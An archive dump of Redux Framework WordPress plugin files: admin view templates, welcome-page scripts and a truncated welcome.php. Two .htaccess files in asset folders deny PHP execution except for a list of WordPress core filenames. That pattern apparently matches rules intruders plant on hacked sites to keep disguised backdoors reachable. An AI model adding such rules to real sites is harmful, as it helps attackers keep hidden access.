'BF1E2D', '8569CF', '0D9FD8', '8AD749', 'EECE00', 'F8981F', 'F80E27', 'F640AE' ); shuffle( $colors ); echo '<style type="text/css">'; ?> <?php foreach ( $colors as $key => $color ) { echo '.theme-browser .theme.color' . esc_html($key) . ' .theme-screenshot{background-color:' . esc_html(Redux_Helpers::hex2rgba( $color, .45 )) . ';}'; echo '.theme-browser .theme.color' . esc_html($key) . ':hover .theme-screenshot{background-color:' . esc_html(Redux_Helpers::hex2rgba( $color, .75 )) . ';}'; } echo '</style>'; $color = 1; ?> <div class="wrap about-wrap"> <h1><?php esc_html_e( 'Redux Framework - Extensions', 'redux-framework' ); ?></h1> <div class="about-text"> <?php printf( __( 'Supercharge your Redux experience. Our extensions provide you with features that will take your products to the next level.', 'redux-framework' ), esc_html($this->display_version) ); ?> </div> <div class="redux-badge"> <i class="el el-redux"></i> <span> <?php printf( __( 'Version %s', 'redux-framework' ), esc_html(ReduxFramework::$_version )); ?> </span> </div> <?php $this->actions(); ?> <?php $this->tabs(); ?> <p class="about-description"> <?php esc_html_e( "While some are built specificially for developers, extensions such as Custom Fonts are sure to make any user happy.", 'redux-framework' ); ?> </p> <div class="extensions"> <div class="feature-section theme-browser rendered" style="clear:both;"> <?php $data = get_transient( 'redux-extensions-fetch' ); if ( empty( $data ) ) { $data = @wp_remote_retrieve_body( @wp_remote_get( 'http://reduxframework.com/wp-admin/admin-ajax.php?action=get_redux_extensions' ) ); if ( ! empty( $data ) ) { $data = json_decode( $data, true ); set_transient( 'redux-extensions-fetch', $data, 24 * HOUR_IN_SECONDS ); } } function rdx_shuffle_assoc( $list ) { if ( ! is_array( $list ) ) { return $list; } $keys = array_keys( $list ); shuffle( $keys ); $random = array(); foreach ( $keys as $key ) { $random[ $key ] = $list[ $key ]; } return $random; } $data = rdx_shuffle_assoc( $data ); if (!empty($data)) { foreach ( $data as $key => $extension ) { ?> <div class="theme color<?php echo esc_html($color);?>"> <?php $color ++;?> <div class="theme-screenshot"> <figure> <i class="el <?php echo isset( $iconMap[ $key ] ) && ! empty( $iconMap[ $key ] ) ? 'el-' . esc_attr($iconMap[ $key ]) : 'el-redux'; ?>"></i> <figcaption> <p><?php echo esc_html($extension['excerpt']);?></p> <a href="<?php echo esc_url($extension['url']); ?>" target="_blank">Learn more</a> </figcaption> </figure> </div> <h3 class="theme-name" id="classic"><?php echo esc_html($extension['title']); ?></h3> <div class="theme-actions"> <a class="button button-primary button-install-demo" data-demo-id="<?php echo esc_attr($key); ?>" href="<?php echo esc_url($extension['url']); ?>" target="_blank">Learn More </a> </div> </div> <?php } } ?> </div> </div> </div>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/views/credits.php�������������������������������������������������������0000644�����������������00000002020�14720701300�0015361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<div class="wrap about-wrap"> <h1><?php esc_html_e( 'Redux Framework - A Community Effort', 'redux-framework' ); ?></h1> <div class="about-text"> <?php esc_html_e( 'We recognize we are nothing without our community. We would like to thank all of those who help Redux to be what it is. Thank you for your involvement.', 'redux-framework' ); ?> </div> <div class="redux-badge"> <i class="el el-redux"></i> <span> <?php printf( __( 'Version %s', 'redux-framework' ), esc_html(ReduxFramework::$_version )); ?> </span> </div> <?php $this->actions(); ?> <?php $this->tabs(); ?> <p class="about-description"> <?php echo sprintf( __( 'Redux is created by a community of developers world wide. Want to have your name listed too? <a href="%d" target="_blank">Contribute to Redux</a>.', 'redux-framework' ), 'https://github.com/reduxframework/redux-framework/blob/master/CONTRIBUTING.md' );?> </p> <?php echo wp_kses_post($this->contributors()); ?> </div>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/views/about.php���������������������������������������������������������0000644�����������������00000007632�14720701300�0015054 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<div class="wrap about-wrap"> <h1><?php printf( __( 'Welcome to Redux Framework %s', 'redux-framework' ), $this->display_version ); ?></h1> <div class="about-text"><?php printf( __( 'Thank you for updating to the latest version! Redux Framework %s is a huge step forward in Redux Development. Look at all that\'s new.', 'redux-framework' ), $this->display_version ); ?></div> <div class="redux-badge"><i class="el el-redux"></i><span><?php printf( __( 'Version %s', 'redux-framework' ), ReduxFramework::$_version ); ?></span> </div> <?php $this->actions(); ?> <?php $this->tabs(); ?> <div id="redux-message" class="updated"> <h4><?php _e( 'What is Redux Framework?', 'redux-framework' ); ?></h4> <p><?php _e( 'Redux Framework is the core of many products on the web. It is an option framework which developers use to enhance their products.', 'redux-framework' ); ?></p> <p class="submit"> <a class="button-primary" href="<?php echo 'http://';?>reduxframework.com" target="_blank"><?php _e( 'Learn More', 'redux-framework' ); ?></a> </p> </div> <div class="changelog"> <h2><?php _e( 'New in this Release', 'redux-framework' ); ?></h2> <div class="changelog about-integrations"> <div class="wc-feature feature-section col three-col"> <div> <h4>Ajax Saving & More Speed!</h4> <p>This version the fastest Redux ever released. We've integrated ajax_saving as well as many other speed improvements to make Redux even surpass the load time of <a href="<?php echo 'https://';?>github.com/syamilmj/Options-Framework" target="_blank">SMOF</a> even with large panels.</p> </div> <div> <h4>The New Redux API</h4> <p>We've gone back to the drawing boards and made Redux the <strong>simplest</strong> framework to use. Introducing the Redux API. Easily add fields, extensions, templates, and more without every having to define a class! <a href="<?php echo 'http://';?>docs.reduxframework.com/core/redux-api/" target="_blank">Learn More</a></p> </div> <div class="last-feature"> <h4>Security Improvments</h4> <p>Thanks to the help of <a href="<?php echo 'http://';?>www.pritect.net/" target="_blank">James Golovich (Pritect)</a>, we have patched varying security flaws in Redux. This is the most secure version of Redux yet!</p> </div> </div> </div> <div class="changelog"> <div class="feature-section col three-col"> <div> <h4>Panel Templates</h4> <p>Now developers can easily customize the Redux panel by declaring a templates location path. We've also made use of template versioning so if we change anything, you will know. <br /><a href="<?php echo 'http://';?>docs.reduxframework.com/core/templates/" target="_blank">Learn More</a></p> </div> <div> <h4>Full Width for ANY Field</h4> <p>Any field can now be set to full width! Just set the <code>full_width</code> argument and your field will expand to the full width of your panel or metabox.</p> </div> <div class="last-feature"> <h4>Elusive Icons Update</h4> <p>Redux is now taking over development of Elusive Icons. As a result, we've refreshed our copy of Elusive to the newest version.</p> </div> </div> </div> </div> </div> ������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/views/changelog.php�����������������������������������������������������0000644�����������������00000001463�14720701300�0015665 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<div class="wrap about-wrap"> <h1><?php esc_html_e( 'Redux Framework - Changelog', 'redux-framework' ); ?></h1> <div class="about-text"> <?php esc_html_e( 'Our core mantra at Redux is backwards compatibility. With hundreds of thousands of instances worldwide, you can be assured that we will take care of you and your clients.', 'redux-framework' ); ?> </div> <div class="redux-badge"> <i class="el el-redux"></i> <span> <?php printf( __( 'Version %s', 'redux-framework' ), esc_html(ReduxFramework::$_version) ); ?> </span> </div> <?php $this->actions(); ?> <?php $this->tabs(); ?> <div class="changelog"> <div class="feature-section"> <?php echo wp_kses_post($this->parse_readme()); ?> </div> </div> </div>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/views/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0015024 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/views/support.php�������������������������������������������������������0000644�����������������00000016345�14720701300�0015457 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<div class="wrap about-wrap" xmlns="http://www.w3.org/1999/html"> <h1><?php esc_html_e( 'Redux Framework - Support', 'redux-framework' ); ?></h1> <div class="about-text"> <?php esc_html_e( 'We are an open source project used by developers to make powerful control panels.', 'redux-framework' ); ?> </div> <div class="redux-badge"> <i class="el el-redux"></i> <span><?php printf( __( 'Version %s', 'redux-framework' ), esc_html(ReduxFramework::$_version) ); ?></span> </div> <?php $this->actions(); ?> <?php $this->tabs(); ?> <div id="support_div" class="support"> <!-- multistep form --> <form id="supportform"> <ul id="progressbar" class=" breadcrumb"> <li class="active"><?php esc_html_e( 'Generate a Support URL', 'redux-framework' ); ?></li> <li href="#"><?php esc_html_e( 'Select Support Type', 'redux-framework' ); ?></li> <li href="#"><?php esc_html_e( 'How to Get Support', 'redux-framework' ); ?></li> </ul> <!-- fieldsets --> <fieldset> <h2 class="fs-title"> <?php esc_html_e( 'Submit a Support Request', 'redux-framework' ); ?> </h2> <h3 class="fs-title" style="margin-top:0;"> <?php esc_html_e( 'To get started, we will need to generate a support hash.', 'redux-framework' ); ?> </h3> <p> <?php echo sprintf( wp_kses( __( 'This will provide to your developer all the information they may need to remedy your issue. This action WILL send information securely to a remote server. To see the type of information sent, please look at the <a href="%s">Status tab</a>.', 'redux-framework' ), array( 'a' => array( 'href' => array() ) ) ), esc_url( admin_url( 'tools.php?page=redux-status' ) ) ); ?> </p> <p> <a href="#" class="docs button button-primary button-large redux_support_hash"> <?php esc_html_e( 'Generate a Support URL', 'redux-framework' ); ?> </a> </p> <input type="button" name="next" class="next hide action-button" value="Next" /> </fieldset> <fieldset> <h2 class="fs-title"> <?php esc_html_e( 'Select Your Support Type', 'redux-framework' ); ?> </h2> <h3 class="fs-subtitle" style="text-align: center;"> <?php esc_html_e( 'What type of user are you?', 'redux-framework' ); ?> </h3> <table id="user_type"> <tr> <td id="is_user"> <i class="el el-user"></i><br/> <?php esc_html_e( 'User', 'redux-framework' ); ?><br/> <small> <?php esc_html_e( 'I am a user, using a pre-built product.', 'redux-framework' ); ?> </small> </td> <td id="is_developer"> <i class="el el-github"></i><br/> <?php esc_html_e( 'Developer', 'redux-framework' ); ?><br/> <small> <?php esc_html_e( 'I am a developer, building a product using Redux.', 'redux-framework' ); ?> </small> </td> </tr> </table> <input type="button" name="next" class="next action-button hide" value="Next" /> </fieldset> <fieldset id="final_support"> <h2 class="fs-title"> <?php esc_html_e( 'How to Get Support', 'redux-framework' ); ?> </h2> <div class="is_developer"> <p> <?php esc_html_e( 'Please proceed to the Redux Framework issue tracker and supply us with your support URL below. Please also provide any information that will help us to reproduce your issue.', 'redux-framework' ); ?> </p> <a href="<?php echo esc_url('https://github.com/reduxframework/redux-framework/issues') ?>" target="_blank"> <h4>https://github.com/reduxframework/redux-framework/issues</h4> </a> </div> <div class="is_user"> <p align="left"> <?php esc_html_e( 'Listed below are the Wordpress plugins and/or theme installed on your site that utilize Redux Framework. We do not directly support products created with our framework. It is the responsibility of the plugin or theme developer to support their work. You will need to contact the author(s) of the products listed below with your support questions.', 'redux-framework' ); ?> </p> <p> <strong> <?php esc_html_e( 'Please be sure to include for your developer - via cut and paste - the Support URL in the box below.', 'redux-framework' ); ?> </strong> </p> <?php $redux = ReduxFrameworkInstances::get_all_instances(); if ( ! empty( $redux ) ) { echo '<code style="line-height: 30px;">'; foreach ( $redux as $panel ) { echo ' ' . esc_html($panel->args['display_name']) . ''; if ( ! empty( $panel->args['display_version'] ) ) { echo ' v' . esc_html($panel->args['display_version']); } echo ' <br />'; } echo '</code><br />'; } ?> </div> <textarea type="text" id="support_hash" name="hash" placeholder="Support Hash" readonly="readonly" class="hash" value="http://support.redux.io/"></textarea> <p> <em> <?php echo sprintf( wp_kses( __( 'Should the developer not be responsive, read the <a href="%s" target="_blank">following article</a> before asking for support from us directly.', 'redux-framework' ), array( 'a' => array( 'href' => array() ) ) ), esc_url( 'http://docs.reduxframework.com/core/support-defined/' ) );?> </em> </p> <input type="button" name="previous" class="previous action-button" value="Go Back" /> </fieldset> </form> <div class="clear" style="clear:both;"></div> </div> </div>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/js/redux-welcome-admin.js�����������������������������������������������0000644�����������������00000026725�14720701300�0016720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function( $ ) { 'use strict'; $.redux_welcome = $.redux_welcome || {}; $( document ).ready( function() { $.redux_welcome.initQtip(); if ( jQuery( document.getElementById( "support_div" ) ).is( ":visible" ) ) { $.redux_welcome.initSupportPage(); } $.redux_welcome.supportHash(); } ); $.redux_welcome.supportHash = function() { jQuery( "#support_hash" ).focus( function() { var $this = jQuery( this ); $this.select(); // Work around Chrome's little problem $this.mouseup( function() { // Prevent further mouseup intervention $this.unbind( "mouseup" ); return false; } ); } ); jQuery( '.redux_support_hash' ).click( function( e ) { var $button = jQuery( this ); if ( $button.hasClass( 'disabled' ) ) { return; } var $nonce = jQuery( '#redux_support_nonce' ).val(); $button.addClass( 'disabled' ); $button.parent().append( '<span class="spinner" style="display:block;float: none;margin: 10px auto;"></span>' ); $button.closest( '.spinner' ).fadeIn(); if ( !window.console ) console = {}; console.log = console.log || function( name, data ) {}; jQuery.ajax( { type: "post", dataType: "json", url: ajaxurl, data: { action: "redux_support_hash", nonce: $nonce }, error: function( response ) { console.log( response ); $button.removeClass( 'disabled' ); $button.parent().find( '.spinner' ).remove(); alert( 'There was an error. Please try again later.' ); }, success: function( response ) { if ( response.status == "success" ) { jQuery( '#support_hash' ).val( 'http://support.redux.io/?id=' + response.identifier ); $button.parents( 'fieldset:first' ).find( '.next' ).removeAttr( 'disabled' ).click(); } else { console.log( response ); alert( 'There was an error. Please try again later.' ); } } } ); e.preventDefault(); } ); }; $.redux_welcome.initSupportPage = function() { //jQuery time var current_fs, next_fs, previous_fs; //fieldsets var left, opacity, scale; //fieldset properties which we will animate var animating; //flag to prevent quick multi-click glitches $.fn.actualHeight = function() { // find the closest visible parent and get it's hidden children var visibleParent = this.closest( ':visible' ).children(), thisHeight; // set a temporary class on the hidden parent of the element visibleParent.addClass( 'temp-show' ); // get the height thisHeight = this.height(); // remove the temporary class visibleParent.removeClass( 'temp-show' ); return thisHeight; }; function setHeight() { var $height = 0; jQuery( document ).find( '#support_div fieldset' ).each( function() { var $actual = $( this ).actualHeight(); if ( $height < $actual ) { $height = $actual; } } ); jQuery( '#support_div' ).height( $height + 20 ); } setHeight(); $( window ).on( 'resize', function() { setHeight(); } ); jQuery( '#is_user' ).click( function() { jQuery( '#final_support .is_user' ).show(); jQuery( '#final_support .is_developer' ).hide(); jQuery( this ).parents( 'fieldset:first' ).find( '.next' ).click(); } ); jQuery( '#is_developer' ).click( function() { jQuery( '#final_support .is_user' ).hide(); jQuery( '#final_support .is_developer' ).show(); jQuery( this ).parents( 'fieldset:first' ).find( '.next' ).click(); } ); jQuery( "#support_div .next" ).click( function() { if ( animating ) return false; animating = true; current_fs = jQuery( this ).parent(); next_fs = jQuery( this ).parent().next(); //activate next step on progressbar using the index of next_fs jQuery( "#progressbar li" ).eq( jQuery( "fieldset" ).index( next_fs ) ).addClass( "active" ); //show the next fieldset next_fs.show(); //hide the current fieldset with style current_fs.animate( {opacity: 0}, { step: function( now, mx ) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale current_fs down to 80% scale = 1 - (1 - now) * 0.2; //2. bring next_fs from the right(50%) left = (now * 50) + "%"; //3. increase opacity of next_fs to 1 as it moves in opacity = 1 - now; current_fs.css( {'transform': 'scale(' + scale + ')'} ); next_fs.css( {'left': left, 'opacity': opacity} ); }, duration: 800, complete: function() { current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' } ); } ); jQuery( "#support_div .previous" ).click( function() { if ( animating ) return false; animating = true; current_fs = jQuery( this ).parent(); previous_fs = jQuery( this ).parent().prev(); //de-activate current step on progressbar jQuery( "#progressbar li" ).eq( jQuery( "fieldset" ).index( current_fs ) ).removeClass( "active" ); //show the previous fieldset previous_fs.show(); //hide the current fieldset with style current_fs.animate( {opacity: 0}, { step: function( now, mx ) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale previous_fs from 80% to 100% scale = 0.8 + (1 - now) * 0.2; //2. take current_fs to the right(50%) - from 0% left = ((1 - now) * 50) + "%"; //3. increase opacity of previous_fs to 1 as it moves in opacity = 1 - now; current_fs.css( {'left': left} ); previous_fs.css( {'transform': 'scale(' + scale + ')', 'opacity': opacity} ); }, duration: 800, complete: function() { current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' } ); } ); } $.redux_welcome.initQtip = function() { if ( $().qtip ) { var shadow = 'qtip-shadow'; var color = 'qtip-dark'; var rounded = ''; var style = ''; //qtip-bootstrap'; var classes = shadow + ',' + color + ',' + rounded + ',' + style; classes = classes.replace( /,/g, ' ' ); // Get position data var myPos = 'top center'; var atPos = 'bottom center'; // Tooltip trigger action var showEvent = 'click'; var hideEvent = 'click mouseleave'; // Tip show effect var tipShowEffect = 'slide'; var tipShowDuration = '500'; // Tip hide effect var tipHideEffect = 'slide'; var tipHideDuration = '500'; $( '.redux-hint-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { switch ( tipShowEffect ) { case 'slide': $( this ).slideDown( tipShowDuration ); break; case 'fade': $( this ).fadeIn( tipShowDuration ); break; default: $( this ).show(); break; } }, event: showEvent, }, hide: { effect: function() { switch ( tipHideEffect ) { case 'slide': $( this ).slideUp( tipHideDuration ); break; case 'fade': $( this ).fadeOut( tipHideDuration ); break; default: $( this ).show( tipHideDuration ); break; } }, event: hideEvent, }, style: { classes: classes, }, position: { my: myPos, at: atPos, }, } ); } ); } }; })( jQuery );�������������������������������������������redux-framework/inc/welcome/js/jquery.easing.min.js�������������������������������������������������0000644�����������������00000012653�14720701300�0016413 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - EASING EQUATIONS * * Open source under the BSD License. * * Copyright © 2001 Robert Penner * All rights reserved. * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return -(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e},easeOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}return g*Math.pow(2,-10*h)*Math.sin((h*k-i)*(2*Math.PI)/j)+l+e},easeInOutElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k/2)==2){return e+l}if(!j){j=k*(0.3*1.5)}if(g<Math.abs(l)){g=l;var i=j/4}else{var i=j/(2*Math.PI)*Math.asin(l/g)}if(h<1){return -0.5*(g*Math.pow(2,10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j))+e}return g*Math.pow(2,-10*(h-=1))*Math.sin((h*k-i)*(2*Math.PI)/j)*0.5+l+e},easeInBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*(f/=h)*f*((g+1)*f-g)+a},easeOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}return i*((f=f/h-1)*f*((g+1)*f+g)+1)+a},easeInOutBack:function(e,f,a,i,h,g){if(g==undefined){g=1.70158}if((f/=h/2)<1){return i/2*(f*f*(((g*=(1.525))+1)*f-g))+a}return i/2*((f-=2)*f*(((g*=(1.525))+1)*f+g)+2)+a},easeInBounce:function(e,f,a,h,g){return h-jQuery.easing.easeOutBounce(e,g-f,0,h,g)+a},easeOutBounce:function(e,f,a,h,g){if((f/=g)<(1/2.75)){return h*(7.5625*f*f)+a}else{if(f<(2/2.75)){return h*(7.5625*(f-=(1.5/2.75))*f+0.75)+a}else{if(f<(2.5/2.75)){return h*(7.5625*(f-=(2.25/2.75))*f+0.9375)+a}else{return h*(7.5625*(f-=(2.625/2.75))*f+0.984375)+a}}}},easeInOutBounce:function(e,f,a,h,g){if(f<g/2){return jQuery.easing.easeInBounce(e,f*2,0,h,g)*0.5+a}return jQuery.easing.easeOutBounce(e,f*2-g,0,h,g)*0.5+h*0.5+a}});�������������������������������������������������������������������������������������redux-framework/inc/welcome/js/.htaccess������������������������������������������������������������0000644�����������������00000001626�14720701300�0014303 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/welcome.php�������������������������������������������������������������0000644�����������������00000054021�14720701300�0014232 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) { exit; } class Redux_Welcome { /** * @var string The capability users should have to view the page */ public $minimum_capability = 'manage_options'; public $display_version = ""; public $redux_loaded = false; /** * Get things started * * @since 1.4 */ public function __construct() { add_action( 'redux/loaded', array( $this, 'init' ) ); add_action( 'wp_ajax_redux_support_hash', array( $this, 'support_hash' ) ); } public function init() { if ( $this->redux_loaded ) { return; } $this->redux_loaded = true; add_action( 'admin_menu', array( $this, 'admin_menus' ) ); if ( isset( $_GET['page'] ) ) { if ( substr( $_GET['page'], 0, 6 ) == "redux-" ) { $version = explode( '.', ReduxFramework::$_version ); $this->display_version = $version[0] . '.' . $version[1]; add_filter( 'admin_footer_text', array( $this, 'change_wp_footer' ) ); add_action( 'admin_head', array( $this, 'admin_head' ) ); } else { $this->check_version(); } } else { $this->check_version(); } update_option( 'redux_version_upgraded_from', ReduxFramework::$_version ); } public function check_version() { global $pagenow; if ( $pagenow == "admin-ajax.php" || ( $GLOBALS['pagenow'] == "customize" && isset( $_GET['theme'] ) && ! empty( $_GET['theme'] ) ) ) { return; } $saveVer = Redux_Helpers::major_version( get_option( 'redux_version_upgraded_from' ) ); $curVer = Redux_Helpers::major_version( ReduxFramework::$_version ); $compare = false; if ( Redux_Helpers::isLocalHost() ) { $compare = true; } else if ( class_exists( 'ReduxFrameworkPlugin' ) ) { $compare = true; } else { $redux = ReduxFrameworkInstances::get_all_instances(); if ( is_array( $redux ) ) { foreach ( $redux as $panel ) { if ( $panel->args['dev_mode'] == 1 ) { $compare = true; break; } } } } if ( $compare ) { $redirect = false; if ( empty( $saveVer ) ) { $redirect = true; // First time } // Removing redirect except for the first time with the plugin installed. :) Less annoying until we actually use this page. //else if ( version_compare( $curVer, $saveVer, '>' ) ) { // $redirect = true; // Previous version //} if ( $redirect && ! defined( 'WP_TESTS_DOMAIN' ) && ReduxFramework::$_as_plugin ) { add_action( 'init', array( $this, 'do_redirect' ) ); } } } public function do_redirect() { if ( ! defined( 'WP_CLI' ) ) { wp_redirect( admin_url( 'tools.php?page=redux-about' ) ); exit(); } } public function change_wp_footer() { echo __( 'If you like <strong>Redux</strong> please leave us a <a href="https://wordpress.org/support/view/plugin-reviews/redux-framework?filter=5#postform" target="_blank" class="redux-rating-link" data-rated="Thanks :)">★★★★★</a> rating. A huge thank you from Redux in advance!', 'redux-framework' ); } public function support_hash() { if ( ! wp_verify_nonce( $_POST['nonce'], 'redux-support-hash' ) ) { die(); } $data = get_option( 'redux_support_hash' ); $data = wp_parse_args( $data, array( 'check' => '', 'identifier' => '' ) ); $generate_hash = true; $system_info = Redux_Helpers::compileSystemStatus(); $newHash = md5( 